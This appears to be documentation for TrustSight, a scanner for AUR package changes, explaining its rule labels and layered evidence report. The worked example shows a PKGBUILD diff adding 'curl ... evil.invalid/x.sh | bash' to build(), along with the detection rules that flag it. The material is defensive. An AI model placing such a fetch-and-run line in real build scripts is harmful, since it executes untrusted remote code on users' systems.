Skip to content

How TrustSight groups security evidence

TrustSight uses rules to examine changes to AUR packages. Different rules look for different warning signs: suspicious commands, changes to package structure, attempts to hide behaviour, unusual activity relative to a package's history, and patterns shared by several packages.

Every rule carries three labels. Its family (the series letter) says how it works. Its subject (category) says what it looks for. Its evidence category (layer, L1-L8) says what kind of evidence the finding is. The glossary defines the whole vocabulary; this section shows how the labels read in a report.

These labels help you read a report. They are not a sequence of security barriers: a finding at L4 does not prove an attacker passed through L1, L2 and L3, and a layer with no finding is not proof a package is safe.

A worked example

You review a package whose update bumps the version, repoints its source= line, and adds a command to build():

--- a/PKGBUILD
+++ b/PKGBUILD
@@ -1,14 +1,15 @@
 pkgname=demo
-pkgver=1.0
+pkgver=1.1
 pkgrel=1
 pkgdesc="Demo package"
 arch=('x86_64')
 url="https://example.invalid"
 license=('MIT')
-source=('https://example.invalid/demo-1.0.tar.gz')
+source=('https://evil.invalid/demo-1.1.tar.gz')
 sha256sums=('SKIP')

 build() {
   cd "$srcdir/demo-$pkgver"
+  curl -fsSL https://evil.invalid/x.sh | bash
   make
 }

The default report renders the findings and the change summary:

demo 1.0 -> 1.1
  Version bump. modified PKGBUILD.
  Signals: Remote Script Execution: curl ... | bash [R001];
    Source URL classified as unknown (https://evil.invalid/demo-1.1.tar.gz);
    Uses curl in PKGBUILD [R010].
  Evidence categories fired: L3 (Payload signature). Review the diff before building.

Two findings fired: R001 (Remote Script Execution) and R010 (Uses curl in PKGBUILD). Both are regex checks in the R family, so both carry the same evidence category, L3 (Payload signature), and the verdict names that one category. The unknown source= domain is a prior, not a rule finding, so it does not name a layer.

The full layer profile is in the report's layers object, one entry per category:

L1  Structural coherence     passed
L2  Readability              passed
L3  Payload signature        fired          (R001, R010)
L4  Evasion shape            passed
L5  Behavioral suspicion     passed
L6  Ecosystem memory         passed
L7  Known indicators         passed
L8  Campaign correlation     not_applicable  (a single package has no cross-package input)

Reading it down:

  • L3 fired because two R rules matched the new curl ... | bash line. The label records which kind of check produced the finding. It does not mean an attacker reached L3 after passing L1 and L2.
  • L1 passed because the change was read in full and no C or M rule matched. It is not a certificate of safety, only the fact that this category was read and stayed silent.
  • L8 not_applicable because a single package has no neighbours to compare against; the check could not run at all. This is different from passed.

Detection and coverage are two facts

The profile keeps two independent dimensions, so a finding never hides that its category was also unread, and an unread category never hides a finding:

coverage complete coverage incomplete coverage not_applicable
detection fired found it, and read the whole change found it, but only part of the change was read cannot happen
detection none read the whole change, nothing matched (not a safety certificate) only part of the change was read, so this silence is not evidence the check could not run (e.g. L8 on one package)

Now suppose the same diff is cut short (a truncated paste). The report adds a not-vetted note, and L3's coverage flips to incomplete while its detection stays fired:

"L3": {"name": "Payload signature", "detection": "fired",
       "coverage": "incomplete", "status": "fired", "findings": ["R001", "R010"]}

Finding something and having read everything are two separate facts, and the report keeps them separate. Content truncation blinds every layer, so the whole profile shifts to incomplete except L8, which stays not_applicable.

What the model does not mean

  • A layer label is not a claim about how far an attacker progressed.
  • A category that did not fire is not proof the package is safe.
  • Passing the automated tests verifies the implementation of this model; it does not prove the detections are diverse or effective against real attacks (Part 4).

Parts 1 to 4

See Also